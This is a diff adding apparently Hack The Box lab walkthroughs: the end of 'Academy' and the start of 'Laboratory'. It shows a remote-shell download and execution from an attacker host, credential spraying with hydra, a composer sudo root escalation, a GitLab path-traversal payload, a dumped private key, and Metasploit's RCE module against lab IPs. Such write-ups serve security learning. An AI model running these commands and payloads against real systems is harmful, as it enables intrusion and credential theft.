[term2] + + wget http://10.10.14.13:9090/xc -O /tmp/xc + + ls -lash /tmp/xc + 0 -rw-r--r-- 1 www-data www-data 0 Jun 4 07:23 /tmp/xc + + chmod +x /tmp/xc + + /tmp/xc 10.10.14.13 9002 + + + [term3] + + [ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy] + → ./xc -l -p 9002 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/04 09:17:49 Listening on :9002 + 2021/06/04 09:17:49 Waiting for connections... + 2021/06/04 09:17:59 Connection from 10.10.10.215:59984 + 2021/06/04 09:17:59 Stream established + + [*] Auto-Plugins: + [xc: /var/www/html/htb-academy-dev-01/public]: !shell + bash: cannot set terminal process group (1039): Inappropriate ioctl for device + bash: no job control in this shell + www-data@academy:/var/www/html/htb-academy-dev-01/public$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + +Now let's upgrade it to a fully interactive shell: + + + www-data@academy:/var/www/html/htb-academy-dev-01/public$ python3 -c 'import pty; pty.spawn("/bin/bash")' + www-data@academy:/var/www/html/htb-academy-dev-01/public$ ^Z + [1] + 3847836 suspended ./xc -l -p 9002 + + [ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy] + → stty raw -echo ; fg + [1] + 3847836 continued ./xc -l -p 9002 + $ export TERM=screen-256color + $ export SHELL=bash + $stty rows 40 columns 125 + www-data@academy:/var/www/html/htb-academy-dev-01/public$ reset + + +Now that we have our fully interactive reverse TTY shell, let's enumerate the box further: + + + www-data@academy:/var/www/html/htb-academy-dev-01/public$ cd .. + www-data@academy:/var/www/html/htb-academy-dev-01$ cd .. + www-data@academy:/var/www/html$ ls + academy htb-academy-dev-01 index.php + www-data@academy:/var/www/html$ cd academy + www-data@academy:/var/www/html/academy$ ls + app bootstrap composer.lock database phpunit.xml readme.md routes storage vendor + artisan composer.json config package.json public resources server.php tests webpack.mix.js + www-data@academy:/var/www/html/academy$ ls -a + . .env.example app composer.json database public routes tests + .. .gitattributes artisan composer.lock package.json readme.md server.php vendor + .env .gitignore bootstrap config phpunit.xml resources storage webpack.mix.js + www-data@academy:/var/www/html/academy$ cat .env + APP_NAME=Laravel + APP_ENV=local + APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= + APP_DEBUG=false + APP_URL=http://localhost + + LOG_CHANNEL=stack + + DB_CONNECTION=mysql + DB_HOST=127.0.0.1 + DB_PORT=3306 + DB_DATABASE=academy + DB_USERNAME=dev + DB_PASSWORD=mySup3rP4s5w0rd!! + + BROADCAST_DRIVER=log + CACHE_DRIVER=file + SESSION_DRIVER=file + SESSION_LIFETIME=120 + QUEUE_DRIVER=sync + + REDIS_HOST=127.0.0.1 + REDIS_PASSWORD=null + REDIS_PORT=6379 + + MAIL_DRIVER=smtp + MAIL_HOST=smtp.mailtrap.io + MAIL_PORT=2525 + MAIL_USERNAME=null + MAIL_PASSWORD=null + MAIL_ENCRYPTION=null + + PUSHER_APP_ID= + PUSHER_APP_KEY= + PUSHER_APP_SECRET= + PUSHER_APP_CLUSTER=mt1 + + MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" + MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" + + +Going back up the filetree we get a password for an user: + + + www-data@academy:/var/www/html/academy$ ls -lash .env + 4.0K -rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env + + + +Although obviously this isn't www-data's password, this is probably one of the other users' passwords so let's try each one using hydra : + + + [term1] + + www-data@academy:/var/www/html/academy$ ls -lash .env + 4.0K -rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env + www-data@academy:/var/www/html/academy$ ls -lash /home + total 32K + 4.0K drwxr-xr-x 8 root root 4.0K Aug 10 2020 . + 4.0K drwxr-xr-x 20 root root 4.0K Feb 10 13:12 .. + 4.0K drwxr-xr-x 2 21y4d 21y4d 4.0K Aug 10 2020 21y4d + 4.0K drwxr-xr-x 2 ch4p ch4p 4.0K Aug 10 2020 ch4p + 4.0K drwxr-xr-x 4 cry0l1t3 cry0l1t3 4.0K Aug 12 2020 cry0l1t3 + 4.0K drwxr-xr-x 3 egre55 egre55 4.0K Aug 10 2020 egre55 + 4.0K drwxr-xr-x 2 g0blin g0blin 4.0K Aug 10 2020 g0blin + 4.0K drwxr-xr-x 5 mrb3n mrb3n 4.0K Aug 12 2020 mrb3n + + + [term2] + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → cat users.txt + 21y4d + ch4p + cry0l1t3 + egre55 + g0blin + mrb3n + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → cat password.txt + mySup3rP4s5w0rd!! + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → hydra -L users.txt -P password.txt ssh://10.10.10.215 + Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). + + Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-04 09:30:00 + [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 + [DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task + [DATA] attacking ssh://10.10.10.215:22/ + [22][ssh] host: 10.10.10.215 login: cry0l1t3 password: mySup3rP4s5w0rd!! + 1 of 1 target successfully completed, 1 valid password found + Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-04 09:30:04 + + + +And we found that it was the cry0l1t3 user's password! So let's login via SSH as this user: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → ssh cry0l1t3@10.10.10.215 + The authenticity of host '10.10.10.215 (10.10.10.215)' can't be established. + ECDSA key fingerprint is SHA256:4v7BvR4VfuEwrmXljKvXmF+JjLCgP/46G78oNEHzt2c. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.215' (ECDSA) to the list of known hosts. + cry0l1t3@10.10.10.215's password: + Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Fri 04 Jun 2021 07:38:32 AM UTC + + System load: 0.0 + Usage of /: 38.3% of 13.72GB + Memory usage: 17% + Swap usage: 0% + Processes: 229 + Users logged in: 0 + IPv4 address for ens160: 10.10.10.215 + IPv6 address for ens160: dead:beef::250:56ff:feb9:3bbc + + + 89 updates can be installed immediately. + 42 of these updates are security updates. + To see these additional updates run: apt list --upgradable + + + The list of available updates is more than a week old. + To check for new updates run: sudo apt update + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Wed Aug 12 21:58:45 2020 from 10.10.14.2 + $ id + uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm) + $ ls + user.txt + $ cat user.txt + faXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user, let's run linpeas.sh on the box to see what are the possible privilege escalation paths: + + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/89 ] [~/HTB/Academy] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/89 ] [~/HTB/Academy] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + [term2] + + $ bash + cry0l1t3@academy:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-04 07:40:46-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[====================================================>] 333.85K 689KB/s in 0.5s + + 2021-06-04 07:40:47 (689 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + cry0l1t3@academy:~$ chmod +x /tmp/peas.sh + + cry0l1t3@academy:~$ /tmp/peas.sh + + + +` ![](prg/52_012.png) + +let linpeas.sh run and then as you scroll through the output you will stumble upon the **mrb3n** user's password from the TTY audit logs: + +![](prg/52_013.png) + +This is possible because we our user is in the adm group: + + + cry0l1t3@academy:~$ id + uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),**4(adm)** + + + +So let's privesc to the **mrb3n** user using his password **mrb3n_Ac@d3my!** + + + cry0l1t3@academy:~$ su mrb3n + Password: + $ bash + + mrb3n@academy:/home/cry0l1t3$ id + uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n) + + mrb3n@academy:/home/cry0l1t3$ /tmp/peas.sh + + +We run linpeas once again as the mrb3n user, and we don't see much, but when we do **sudo -l** we are hinted towards using composer: + + + mrb3n@academy:/home/cry0l1t3$ sudo -l + [sudo] password for mrb3n: + Matching Defaults entries for mrb3n on academy: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User mrb3n may run the following commands on academy: + (ALL) /usr/bin/composer + + +Taking a look at [gtfobins](https://gtfobins.github.io/gtfobins/composer/) we get a privilege escalation path to the root user: + + + mrb3n@academy:/home/cry0l1t3$ cd .. + mrb3n@academy:/home$ TF=$(mktemp -d) + mrb3n@academy:/home$ echo '{"scripts":{"x":"/bin/sh -i 0<****& 3 1>&3 2>&3"}}' >$TF/composer.json + mrb3n@academy:/home$ sudo composer --working-dir=$TF run-script x + PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 + PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 + Do not run Composer as root/super user! See https://getcomposer.org/root for details + > /bin/sh -i 0<****& 3 1>&3 2>&3 + # id + uid=0(root) gid=0(root) groups=0(root) + # cat /root/root.txt + ffXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get to the root user and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/52_graph.png) + diff --git a/Easy/53.md b/Easy/53.md new file mode 100644 index 0000000..f20214e --- /dev/null +++ b/Easy/53.md @@ -0,0 +1,575 @@ +# Laboratory Writeup + +![](img/53.png) + +## Introduction : + +Laboratory is an Easy Linux machine released back in November 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Laboratory] + → nmap -vvv -p- 10.10.10.216 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.216 + Discovered open port 443/tcp on 10.10.10.216 + Discovered open port 80/tcp on 10.10.10.216 + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Laboratory] + → nmap -Pn -sCV -p 22,80,443 10.10.10.216 + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-04 10:19 CEST + Nmap scan report for 10.10.10.216 + Host is up (0.037s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) + | 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) + |_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) + 80/tcp open http Apache httpd 2.4.41 + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Did not follow redirect to https://laboratory.htb/ + 443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu)) + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: The Laboratory + | ssl-cert: Subject: commonName=laboratory.htb + | Subject Alternative Name: DNS:git.laboratory.htb + | Not valid before: 2020-07-05T10:39:28 + |_Not valid after: 2024-03-03T10:39:28 + | tls-alpn: + |_ http/1.1 + Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 17.61 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80/443 and the domain names **laboratory.htb** and **git.laboratory.htb** so let's add it to our hosts file: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Laboratory] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.216 laboratory.htb git.laboratory.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Laboratory] + → ping -c1 laboratory.htb + PING laboratory.htb (10.10.10.216) 56(84) bytes of data. + 64 bytes from laboratory.htb (10.10.10.216): icmp_seq=1 ttl=63 time=81.7 ms + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Laboratory] + → ping -c1 git.laboratory.htb + PING laboratory.htb (10.10.10.216) 56(84) bytes of data. + 64 bytes from laboratory.htb (10.10.10.216): icmp_seq=1 ttl=63 time=35.7 ms + + + +Now let's visit it: + +![](prg/53_001.png) + +We also find a few potential users: + +![](prg/53_002.png) + +Now let's check out the git subdomain: + +![](prg/53_004.png) + +We can register a test user and log into it (make sure the email address ends with **laboratory.htb**): + +![](prg/53_005.png) + +Once our account is created we get access to the gitlab instance, and by clicking the Help tab we see that we are on a Gitlab Community Edition version 12.8.1 + +![](prg/53_006.png) + +Here we see that there is only one repository which is owned by dexter: + +![](prg/53_007.png) + +Now since we know the Gitlab edition, let's look for exploits to use: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Laboratory] + → searchsploit gitlab + ----------------------------------------------- --------------------------------- + Exploit Title | Path + ----------------------------------------------- --------------------------------- + GitLab - 'impersonate' Feature Privilege Escal | ruby/webapps/40236.txt + GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py + GitLab 11.4.7 - Remote Code Execution (Authent | ruby/webapps/49257.py + GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt + Gitlab 12.9.0 - Arbitrary File Read (Authentic | ruby/webapps/49076.py + Gitlab 6.0 - Persistent Cross-Site Scripting | php/webapps/30329.sh + GitLab Community Edition (CE) 13.10.3 - 'Sign_ | ruby/webapps/49822.rb + GitLab Community Edition (CE) 13.10.3 - User E | ruby/webapps/49821.sh + Gitlab-shell - Code Execution (Metasploit) | linux/remote/34362.rb + Jenkins Gitlab Hook Plugin 1.4.2 - Reflected C | java/webapps/47927.txt + NPMJS gitlabhook 0.0.17 - 'repository' Remote | json/webapps/47420.txt + ----------------------------------------------- --------------------------------- + Shellcodes: No Results + + + +We could use the Authenticated Arbitrary File Read exploit, but there is an [report](https://hackerone.com/reports/827052) on hackerone that describes the intended path **CVE-2020-10977** , so let's follow it: + +![](prg/53_008.png) + +First we create 2 projects, then we create an issue on projectA that contains the following payload inthe issue description: + + + ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd) + + + +` ![](prg/53_009.png) + +Once that's done, we move the issue to projectB: + +![](prg/53_010.png) + +And once the issue is moved, you will see that the passwd file is linked: + +![](prg/53_011.png) + +Here's what we get: + + + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false + systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false + systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false + systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false + _apt:x:104:65534::/nonexistent:/bin/false + sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin + git:x:998:998::/var/opt/gitlab:/bin/sh + gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false + gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false + gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh + mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh + registry:x:993:993::/var/opt/gitlab/registry:/bin/sh + gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh + gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh + + + +So now we verified that there was a Local File Inclusion, the hackerone report tells us that this can be leveraged to a RCE which exploits a deserialization vulnerability inside the **experimentation_subject_id** cookie. To do so we need to grab the **secrets.yml** file first with the following payload: + + + ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml) + + + +So we just edit the description of our issue and move it to the other project once we save the changes to grab the next file: + +![](prg/53_012.png) ![](prg/53_013.png) ![](prg/53_014.png) + +Here's the secrets.yml file: + + + # This file is managed by gitlab-ctl. Manual changes will be + # erased! To change the contents below, edit /etc/gitlab/gitlab.rb + # and run `sudo gitlab-ctl reconfigure`. + + --- + production: + db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838 + secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3 + otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af + openid_connect_signing_key: | + -----BEGIN RSA PRIVATE KEY----- + MIIJKQIBAAKCAgEA5LQnENotwu/SUAshZ9vacrnVeYXrYPJoxkaRc2Q3JpbRcZTu + YxMJm2+5ZDzaDu5T4xLbcM0BshgOM8N3gMcogz0KUmMD3OGLt90vNBq8Wo/9cSyV + RnBSnbCl0EzpFeeMBymR8aBm8sRpy7+n9VRawmjX9os25CmBBJB93NnZj8QFJxPt + u00f71w1pOL+CIEPAgSSZazwI5kfeU9wCvy0Q650ml6nC7lAbiinqQnocvCGbV0O + aDFmO98dwdJ3wnMTkPAwvJcESa7iRFMSuelgst4xt4a1js1esTvvVHO/fQfHdYo3 + 5Y8r9yYeCarBYkFiqPMec8lhrfmviwcTMyK/TBRAkj9wKKXZmm8xyNcEzP5psRAM + e4RO91xrgQx7ETcBuJm3xnfGxPWvqXjvbl72UNvU9ZXuw6zGaS7fxqf8Oi9u8R4r + T/5ABWZ1CSucfIySfJJzCK/pUJzRNnjsEgTc0HHmyn0wwSuDp3w8EjLJIl4vWg1Z + vSCEPzBJXnNqJvIGuWu3kHXONnTq/fHOjgs3cfo0i/eS/9PUMz4R3JO+kccIz4Zx + NFvKwlJZH/4ldRNyvI32yqhfMUUKVsNGm+7CnJNHm8wG3CMS5Z5+ajIksgEZBW8S + JosryuUVF3pShOIM+80p5JHdLhJOzsWMwap57AWyBia6erE40DS0e0BrpdsCAwEA + AQKCAgB5Cxg6BR9/Muq+zoVJsMS3P7/KZ6SiVOo7NpI43muKEvya/tYEvcix6bnX + YZWPnXfskMhvtTEWj0DFCMkw8Tdx7laOMDWVLBKEp54aF6Rk0hyzT4NaGoy/RQUd + b/dVTo2AJPJHTjvudSIBYliEsbavekoDBL9ylrzgK5FR2EMbogWQHy4Nmc4zIzyJ + HlKRMa09ximtgpA+ZwaPcAm+5uyJfcXdBgenXs7I/t9tyf6rBr4/F6dOYgbX3Uik + kr4rvjg218kTp2HvlY3P15/roac6Q/tQRQ3GnM9nQm9y5SgOBpX8kcDv0IzWa+gt + +aAMXsrW3IXbhlQafjH4hTAWOme/3gz87piKeSH61BVyW1sFUcuryKqoWPjjqhvA + hsNiM9AOXumQNNQvVVijJOQuftsSRCLkiik5rC3rv9XvhpJVQoi95ouoBU7aLfI8 + MIkuT+VrXbE7YYEmIaCxoI4+oFx8TPbTTDfbwgW9uETse8S/lOnDwUvb+xenEOku + r68Bc5Sz21kVb9zGQVD4SrES1+UPCY0zxAwXRur6RfH6np/9gOj7ATUKpNk/583k + Mc3Gefh+wyhmalDDfaTVJ59A7uQFS8FYoXAmGy/jPY/uhGr8BinthxX6UcaWyydX + sg2l6K26XD6pAObLVYsXbQGpJa2gKtIhcbMaUHdi2xekLORygQKCAQEA+5XMR3nk + psDUlINOXRbd4nKCTMUeG00BPQJ80xfuQrAmdXgTnhfe0PlhCb88jt8ut+sx3N0a + 0ZHaktzuYZcHeDiulqp4If3OD/JKIfOH88iGJFAnjYCbjqbRP5+StBybdB98pN3W + Lo4msLsyn2/kIZKCinSFAydcyIH7l+FmPA0dTocnX7nqQHJ3C9GvEaECZdjrc7KT + fbC7TSFwOQbKwwr0PFAbOBh83MId0O2DNu5mTHMeZdz2JXSELEcm1ywXRSrBA9+q + wjGP2QpuXxEUBWLbjsXeG5kesbYT0xcZ9RbZRLQOz/JixW6P4/lg8XD/SxVhH5T+ + k9WFppd3NBWa4QKCAQEA6LeQWE+XXnbYUdwdveTG99LFOBvbUwEwa9jTjaiQrcYf + Uspt0zNCehcCFj5TTENZWi5HtT9j8QoxiwnNTcbfdQ2a2YEAW4G8jNA5yNWWIhzK + wkyOe22+Uctenc6yA9Z5+TlNJL9w4tIqzBqWvV00L+D1e6pUAYa7DGRE3x+WSIz1 + UHoEjo6XeHr+s36936c947YWYyNH3o7NPPigTwIGNy3f8BoDltU8DH45jCHJVF57 + /NKluuuU5ZJ3SinzQNpJfsZlh4nYEIV5ZMZOIReZbaq2GSGoVwEBxabR/KiqAwCX + wBZDWKw4dJR0nEeQb2qCxW30IiPnwVNiRcQZ2KN0OwKCAQAHBmnL3SV7WosVEo2P + n+HWPuhQiHiMvpu4PmeJ5XMrvYt1YEL7+SKppy0EfqiMPMMrM5AS4MGs9GusCitF + 4le9DagiYOQ13sZwP42+YPR85C6KuQpBs0OkuhfBtQz9pobYuUBbwi4G4sVFzhRd + y1wNa+/lOde0/NZkauzBkvOt3Zfh53g7/g8Cea/FTreawGo2udXpRyVDLzorrzFZ + Bk2HILktLfd0m4pxB6KZgOhXElUc8WH56i+dYCGIsvvsqjiEH+t/1jEIdyXTI61t + TibG97m1xOSs1Ju8zp7DGDQLWfX7KyP2vofvh2TRMtd4JnWafSBXJ2vsaNvwiO41 + MB1BAoIBAQCTMWfPM6heS3VPcZYuQcHHhjzP3G7A9YOW8zH76553C1VMnFUSvN1T + M7JSN2GgXwjpDVS1wz6HexcTBkQg6aT0+IH1CK8dMdX8isfBy7aGJQfqFVoZn7Q9 + MBDMZ6wY2VOU2zV8BMp17NC9ACRP6d/UWMlsSrOPs5QjplgZeHUptl6DZGn1cSNF + RSZMieG20KVInidS1UHj9xbBddCPqIwd4po913ZltMGidUQY6lXZU1nA88t3iwJG + onlpI1eEsYzC7uHQ9NMAwCukHfnU3IRi5RMAmlVLkot4ZKd004mVFI7nJC28rFGZ + Cz0mi+1DS28jSQSdg3BWy1LhJcPjTp95AoIBAQDpGZ6iLm8lbAR+O8IB2om4CLnV + oBiqY1buWZl2H03dTgyyMAaePL8R0MHZ90GxWWu38aPvfVEk24OEPbLCE4DxlVUr + 0VyaudN5R6gsRigArHb9iCpOjF3qPW7FaKSpevoCpRLVcAwh3EILOggdGenXTP1k + huZSO2K3uFescY74aMcP0qHlLn6sxVFKoNotuPvq5tIvIWlgpHJIysR9bMkOpbhx + UR3u0Ca0Ccm0n2AK+92GBF/4Z2rZ6MgedYsQrB6Vn8sdFDyWwMYjQ8dlrow/XO22 + z/ulFMTrMITYU5lGDnJ/eyiySKslIiqgVEgQaFt9b0U3Nt0XZeCobSH1ltgN + -----END RSA PRIVATE KEY----- + + + +The part of the file we need here is the **secret_key_base** value. + + + **secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3** + + + +Now that we have the secret key, we can basically leverage it to a Remote code execution, but instead of doing it manually, we're going to use metasploit: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Laboratory] + → msfconsole + + `:oDFo:` + ./ymM0dayMmy/. + -+dHJ5aGFyZGVyIQ==+- + `:sm⏣~~Destroy.No.Data~~s:` + -+h2~~Maintain.No.Persistence~~h+- + `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:` + ./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/. + -++SecKCoin++e.AMd` `.-://///+hbove.913.ElsMNh+- + -~/.ssh/id_rsa.Des- `htN01UserWroteMe!- + :dopeAW.Noo :is:TЯiKC.sudo-.A: + :we're.all.alike'` The.PFYroy.No.D7: + :PLACEDRINKHERE!: yxp_cmdshell.Ab0: + :msf>exploit -j. :Ns.BOB&ALICEes7;: + :---srwxrwx:-.` `MS146.52.No.Per: + :<****script>.Ac816/ sENbove3101.404: + :NT_AUTHORITY.Do `T:/shSYSTEM-.N: + :09.14.2011.raid /STFU|wall.No.Pr: + :hevnsntSurb025N. dNVRGOING2GIVUUP: + :#OUTHOUSE- -s: /corykennedyData: + :$nmap -oS SSo.6178306Ence: + :Awsm.da: /shMTl#beats3o.No.: + :Ring0: `dDestRoyREXKC3ta/M: + :23d: sSETEC.ASTRONOMYist: + /- /yo- .ence.N:(){ :|: & };: + `:Shall.We.Play.A.Game?tron/ + ```-ooy.if1ghtf0r+ehUser5` + ..th3.H1V3.U2VjRFNN.jMh+.` + `MjM~~WE.ARE.se~~MMjMs + +~KANSAS.CITY's~-` + J~HAKCERS~./.` + .esc:wq!:` + +++ATH` + ` + + + =[ metasploit v6.0.46-dev ] + + -- --=[ 2135 exploits - 1139 auxiliary - 365 post ] + + -- --=[ 592 payloads - 45 encoders - 10 nops ] + + -- --=[ 8 evasion ] + + Metasploit tip: Use help to learn more + about any command + + msf6 > search gitlab 12.8.1 + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/multi/http/gitlab_file_read_rce 2020-03-26 excellent Yes GitLab File Read Remote Code Execution + + + Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/gitlab_file_read_rce + + msf6 > use 0 + [*] No payload configured, defaulting to generic/shell_reverse_tcp + msf6 exploit(multi/http/gitlab_file_read_rce) > show options + + + +Here we need to set the following options: + + + msf6 exploit(multi/http/gitlab_file_read_rce) > set USERNAME test + USERNAME => test + msf6 exploit(multi/http/gitlab_file_read_rce) > set PASSWORD testtest + PASSWORD => testtest + msf6 exploit(multi/http/gitlab_file_read_rce) > set RHOSTS 10.10.10.216 + RHOSTS => 10.10.10.216 + msf6 exploit(multi/http/gitlab_file_read_rce) > set VHOST git.laboratory.htb + VHOST => git.laboratory.htb + msf6 exploit(multi/http/gitlab_file_read_rce) > set LHOST tun0 + LHOST => tun0 + msf6 exploit(multi/http/gitlab_file_read_rce) > set SSL TRUE + [!] Changing the SSL option's value may require changing RPORT! + SSL => true + msf6 exploit(multi/http/gitlab_file_read_rce) > set RPORT 443 + RPORT => 443 + + + + +Then we run the exploit: + + + msf6 exploit(multi/http/gitlab_file_read_rce) > exploit + + [*] Started reverse TCP handler on 10.10.14.13:4444 + [*] Executing automatic check (disable AutoCheck to override) + [+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version. + [*] Logged in to user test + [*] Created project /test/hPWfWdX6 + [*] Created project /test/fh8BzMaY + [*] Created issue /test/hPWfWdX6/issues/1 + [*] Executing arbitrary file load + [+] File saved as: '/home/nothing/.msf4/loot/20210605164827_default_10.10.10.216_gitlab.secrets_584759.txt' + [+] Extracted secret_key_base 